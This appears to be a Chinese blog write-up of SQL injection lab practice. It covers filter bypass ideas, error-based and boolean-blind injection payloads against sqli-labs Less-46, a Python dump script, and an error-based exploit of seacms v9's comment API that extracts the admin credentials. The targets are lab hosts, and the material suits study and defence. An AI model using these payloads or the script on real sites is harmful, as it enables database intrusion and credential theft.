SQL注入练习

目录

一、如何绕过 information schema 字段过滤注入

二、如何绕过 order by 语句过滤注入

三、seacmsv9 实现报错注入数据


一、如何绕过 information schema 字段过滤注入

1、使用其他系统表,不同数据库有各自的系统表,可替代information_schema。

2、使用盲注技术,布尔盲注(通过页面响应的差异判断查询结果)或者时间盲注(通过延时函数判断查询结果)。

3、使用报错注入获取其他表,通过构造恶意查询,触发数据库错误,从错误信息中提取表结构。

4、使用联合查询猜测数据。

5、利用特殊字符或者不同编码混淆,试图绕过过滤。 

二、如何绕过 order by 语句过滤注入

靶场第46关。

1、直接使用报错注入

数据库名:

http://192.168.58.5/Less-46/index.php?sort=(extractvalue(1,concat(0x7e,(select%20database()%20),0x7e)))

 

用户名:

http://192.168.58.5/Less-46/index.php?sort=(extractvalue(1,concat(0x7e,(select%20user()%20),0x7e)))

表名:

http://192.168.58.5/Less-46/index.php?sort=(extractvalue(1,concat((select%20group_concat(0x7e,table_name,0x7e)%20from%20information_schema.tables%20where%20table_schema=%27security%27))))

因为extractvalue只能容纳32个字节,我们需要将后面的字段截取出:

http://192.168.58.5/Less-46/index.php?sort=(extractvalue(1,concat(0x7e,substr((select%20group_concat(0x7e,table_name,0x7e)%20from%20information_schema.tables%20where%20table_schema=%27security%27),32,64))))

users表字段名:

http://192.168.58.5/Less-46/index.php?sort=(extractvalue(1,concat((select%20group_concat(0x7e,column_name,0x7e)%20from%20information_schema.columns%20where%20table_schema=%27security%27%20and%20table_name=%27users%27))))

 

users表用户名和密码:

同样因为extractvalue只能容纳32个字节,所以我们分开截取。

前32位:

http://192.168.58.5/Less-46/index.php?sort=(extractvalue(1,concat(0x7e,substr((select%20group_concat(username,0x3a,password)%20from%20users),1,32))))

33-64位:

http://192.168.58.5/Less-46/index.php?sort=(extractvalue(1,concat(0x7e,substr((select%20group_concat(username,0x3a,password)%20from%20users),32,64))))

后面的数据依次类推。 

2、布尔盲注

编写python脚本:

import requests
from bs4 import BeautifulSoup# 获取用户名的函数
def get_username(resp):soup = BeautifulSoup(resp, 'html.parser')try:username = soup.select('body > div:nth-child(1) > font:nth-child(4) > tr > td:nth-child(2)')[0].textexcept IndexError:username = ""return username# 发送请求的函数
def send_request(payload):try:resp = requests.get(payload)return respexcept requests.RequestException as e:print(f"Request error: {e}")return None# 通用的注入函数,执行SQL注入并返回结果
def inject(url, query_template):data = ''i = 1while True:left = 32right = 127mid = (left + right) // 2while left < right:query = query_template.format(i=i, mid=mid)payload = f"{url}{query}"resp = send_request(payload)if resp and 'Dumb' == get_username(resp.text):left = mid + 1else:right = midmid = (left + right) // 2if mid == 32:breakdata += chr(mid)i += 1return data# 获取数据库名的函数
def inject_database(url):query_template = "sort=if(ascii(substr(database(),{i},1))>{mid},id,username) -- "database_name = inject(url, query_template)print(f"数据库名: {database_name}")# 获取表名的函数
def inject_tables(url):query_template = "sort=if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{i},1))>{mid},id,username) -- "tables = inject(url, query_template)print(f"表名有: {tables}")# 获取列名的函数
def inject_column(url, table_name):# 在query中用format替代i和mid的静态引用,避免name errorquery_template = f"sort=if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='{table_name}'),{{i}},1))>{{mid}},id,username) -- "columns = inject(url, query_template)print(f"{table_name}表中的字段有: {columns}")# 获取表数据的函数
def inject_data(url, table_name):query_template = f"sort=if(ascii(substr((select group_concat(username,':',password) from {table_name}),{{i}},1))>{{mid}},id,username) -- "user_data = inject(url, query_template)if user_data == "":print("该表中没有数据!")else:print(f"表{table_name}中的数据按照username:password的形式有: {user_data}")# 主程序
if __name__ == '__main__':url = 'http://192.168.58.5/Less-46/index.php?'# 获取数据库名inject_database(url)# 获取表名inject_tables(url)# 获取表名后,输入具体表名table_name = input("请输入需要获取数据的表名:")# 获取表的列名inject_column(url, table_name)# 获取表的数据inject_data(url, table_name)

代码效果:

三、seacmsv9 实现报错注入数据

seacmsv9的漏洞位置在文件目录下的comment\api\index.php中,漏洞参数是$rlist。

接下来开始报错注入:

数据库名:

http://192.168.58.6/comment/api/index.php?gid=1&page=2&type=1&rlist[]=@`'`,updatexml(1,concat_ws(0x7e,0x7e,database()),@`'`)

得知数据库名为seacms。

用户名:

http://192.168.58.6/comment/api/index.php?gid=1&page=2&type=1&rlist[]=@`'`,updatexml(1,concat_ws(0x7e,0x7e,user()),@`'`)

得知用户名为:root@localhost。

第一个表名:

http://192.168.58.6/comment/api/index.php?gid=1&page=2&type=1&rlist[]=@`%27`,%20extractvalue(1,concat_ws(0x7e,0x7e,(select%23%0atable_name%20from%23%0ainformation_schema.tables%20where%20table_schema%20=database()%20limit%200,1))),%20@`%27`

表明为:sea_admin。

字段名:

http://192.168.58.6/comment/api/index.php?gid=1&page=2&type=1&rlist[]=@`%27`,%20extractvalue(1,concat_ws(0x7e,0x7e,(select%23%0acolumn_name%20from%23%0ainformation_schema.columns%20where%20table_schema%20=0x736561636d73%20and%20table_name=0x7365615f61646d696e%20limit%201,1))),%20@`%27`

 用户名为:name。

http://192.168.58.6/comment/api/index.php?gid=1&page=2&type=1&rlist[]=@`%27`,%20extractvalue(1,concat_ws(0x7e,0x7e,(select%23%0acolumn_name%20from%23%0ainformation_schema.columns%20where%20table_schema%20=0x736561636d73%20and%20table_name=0x7365615f61646d696e%20limit%202,1))),%20@`%27`

密码字段为password。 

用户名:

http://192.168.58.6/comment/api/index.php?gid=1&page=2&type=1&rlist[]=@`'`, updatexml (1,concat_ws(0x20,0x5c,(select name from%23%0asea_admin limit 0,1)),1), @`'`

用户名为admin。

密码:

http://192.168.58.6/comment/api/index.php?gid=1&page=2&type=1&rlist[]=@`'`, updatexml (1,concat_ws(0x20,0x5c,(select password from%23%0asea_admin limit 0,1)),1), @`'`

 

密码为密文的 f297a57a5a743894a0e4。猜测为md5加密方式。解密后为admin。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/24832.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

手机放兜里,支付宝“碰一下”被盗刷?

大家好&#xff0c;我是小悟。 近期&#xff0c;网络上关于“支付宝‘碰一下’支付易被盗刷”的传言甚嚣尘上&#xff0c;不少用户对此心生疑虑。 首先&#xff0c;要明确一点&#xff1a;“碰一下”支付并不会像某些传言中所描述的那样容易被隔空盗刷。这一观点已经得到了支付…

MySQL MHA 部署全攻略:从零搭建高可用数据库架构

文章目录 1.MHA介绍2.MHA组件介绍3.集群规划4.服务器初始化5.MySQL集群部署5.1 安装MySQL集群5.2 配置一主两从5.3 测试MySQL主从5.4 赋予MHA用户连接权限 6.安装MHA环境6.1 安装MHA Node6.2 安装MHA Manager 7.配置MHA环境8.MySQL MHA高可用集群测试8.1 通过VIP连接MySQL8.2模…

国标28181协议在智联视频超融合平台中的接入方法

一. 国标28181介绍 国标 28181 协议全称是《安全防范视频监控联网系统信息传输、交换、控制技术要求》&#xff0c;是国内视频行业最重要的国家标准&#xff0c;目前有三个版本&#xff1a; 2011 年&#xff1a;推出 GB/T 28181-2011 版本&#xff0c;为安防行业的前端设备、平…

ThinkPHP:配置Redis并使用

文章目录 一、环境说明二、php.ini中配置Redis扩展1、下载php_redis.dll文件2、安装Redis扩展3、修改php.ini4、重启wamp服务 三、thinkphp6项目中修改配置及使用 一、环境说明 我的是64位Windows10环境&#xff0c;安装了wamp环境集成工具&#xff0c;方便学习使用。 php版本…

[ComfyUI]官方已支持Skyreels混元图生视频,速度更快,效果更好(附工作流)

一、介绍 昨天有提到官方已经支持了Skyreels&#xff0c;皆大欢喜&#xff0c;效果更好一些&#xff0c;还有GGUF量化版本&#xff0c;进一步降低了大家的显存消耗。 今天就来分享一下官方流怎么搭建&#xff0c;我体验下来感觉更稳了一些&#xff0c;生成速度也更快&#xf…

ui设计公司兰亭妙微分享:科研单位UI界面设计

科研单位的UI界面设计是一项至关重要的任务&#xff0c;它不仅关乎科研工作的效率&#xff0c;还直接影响到科研人员的用户体验。以下是对科研单位UI界面设计的详细分析&#xff1a; 一、设计目标 科研单位的UI界面设计旨在提升科研工作的效率与便捷性&#xff0c;同时确保科…

纷析云:赋能企业财务数字化转型的开源解决方案

在企业数字化转型的浪潮中&#xff0c;财务管理的高效与安全成为关键。纷析云凭借其开源、安全、灵活的财务软件解决方案&#xff0c;为企业提供了一条理想的转型路径。 一、开源的力量&#xff1a;自主、安全、高效 纷析云的核心优势在于其100%开源的财务软件源码。这意味着…

Win11安装dpanel实现docker可视化面板,并解决端口冲突的问题

目标是给Win11的docker安装dpanel可视化面板&#xff0c;可以更直观的看到docker中的数据。 执行镜像&#xff08;没有则自动拉取&#xff09; 首先配置好docker加速环境&#xff08;阿里云的docker加速等&#xff09;&#xff0c;然后访问GitHub - donknap/dpanel: 轻量化 do…

Jmeter聚合报告导出log文档,Jmeter聚合报告导出到CSV

Jmeter聚合报告导出log文档 在Filename中输入 EKS_perf_log\\${type}_log\\${__P(UNIQUEID,${__time(YMDHMS)})}\all-graph-results-log.csv 可以得到执行的log&#xff0c;文件夹包含时间戳 Jmeter聚合报告导出到CSV 点击Save Table Data&#xff0c;保存到CSV文件中

OpenAPI Generator:API开发的瑞士军刀

一、工具介绍 OpenAPI Generator是基于OpenAPI规范(Swagger)的代码生成工具&#xff0c;支持50种编程语言的客户端/服务端代码生成。其核心价值在于&#xff1a; 自动化生成⇒减少重复劳动规范API开发流程 核心能力矩阵&#xff1a; 功能支持示例客户端SDK生成Java/Python/T…

【Linux探索学习】第二十七弹——信号(上):Linux 信号基础详解

Linux学习笔记&#xff1a; https://blog.csdn.net/2301_80220607/category_12805278.html?spm1001.2014.3001.5482 前言&#xff1a; 前面我们已经将进程通信部分讲完了&#xff0c;现在我们来讲一个进程部分也非常重要的知识点——信号&#xff0c;信号也是进程间通信的一…

DeepSeek行业应用实践报告-智灵动力【112页PPT全】

DeepSeek&#xff08;深度搜索&#xff09;近期引发广泛关注并成为众多企业/开发者争相接入的现象&#xff0c;主要源于其在技术突破、市场需求适配性及生态建设等方面的综合优势。以下是关键原因分析&#xff1a; 一、技术核心优势 开源与低成本 DeepSeek基于开源架构&#xf…

探索AI新前沿,CoT推理赋能文生图!港中文首次提出文生图的o1推理和inference scaling新范式

OpenAI的o1模型凭借思维链&#xff08;Chain-of-Thought, CoT&#xff09;技术&#xff0c;在推理能力上实现了质的飞跃&#xff0c;引领了大模型理解领域的新风尚。然而&#xff0c;这一创新的火花能否照亮图像生成领域&#xff1f;近日&#xff0c;来自香港中文大学、北京大学…

C# | GDI+图像测距辅助线的实现思路

C# | GDI图像测距辅助线的实现思路 文章目录 C# | GDI图像测距辅助线的实现思路一、辅助线需求概述二、坐标系与角度计算2.1 笛卡尔坐标系2.2 线长和角度计算方法2.3 文本角度矫正计算方法2.4 坐标变换实现步骤 三、与if判断方式对比四、总结 一、辅助线需求概述 在图像测量工…

SQL Server2019下载及安装教程

一、软件下载 SQLServer2019及SSMS管理工具下载链接&#xff1a; 百度网盘 请输入提取码 二、SQLServer2019安装 选中要安装的iso映像文件&#xff0c;右键点击装载&#xff08;有些系统可以直接双击打开&#xff0c;有些需要安装Daemon Tools软件去打开&#xff09; 找到s…

嵌入式开发--STM32的USB不识别和需要重新拔插的解决

STM32在通过USB口设备连接电脑时&#xff0c;一般是将其模拟为虚拟串口&#xff08;VCP&#xff09;。如果在调试中按了复位键&#xff0c;就不能连接电脑了。此时一般需要拔插一下USB口&#xff0c;但这样会给用户带来许多麻烦。 USB接口电路 电路接口中&#xff0c;USB-P线会…

深度剖析数据中台架构图,铸造数字文明的基石

🔥🔥 AllData大数据产品是可定义数据中台,以数据平台为底座,以数据中台为桥梁,以机器学习平台为中层框架,以大模型应用为上游产品,提供全链路数字化解决方案。 ✨奥零数据科技官网:http://www.aolingdata.com ✨AllData开源项目:https://github.com/alldatacenter/a…

MySQL练习

将安装包下载并上传 方法一 步骤 创建组与用户 [rootlocalhost ~]# groupadd mysql [rootlocalhost ~]# useradd -r -g mysql -s /bin/false mysql 解压安装包 [rootlocalhost ~]# tar xf mysql-8.0.36-linux-glibc2.28-x86_64.tar.xz -C /usr/local/软连接 [rootlocalh…

jdk21下载、安装(Windows、Linux、macOS)

Windows 系统 1. 下载安装 访问 Oracle 官方 JDK 下载页面 或 OpenJDK 下载页面&#xff0c;根据自己的系统选择合适的 Windows 版本进行下载&#xff08;通常选择 .msi 安装包&#xff09;。 2. 配置环境变量 右键点击 “此电脑”&#xff0c;选择 “属性”。 在左侧导航栏…

docker的下载与使用(一)

本文默认使用linux系统以及会linux的基本指令&#xff0c;windows下安装docker较为繁琐 docker是什么 Docker 是一个开源的应用容器引擎&#xff0c;基于go 语言并遵从 Apache2.0 协议开源。 Docker 可以让开发者打包他们的应用以及依赖包到一个轻量级、可移植的容器中&…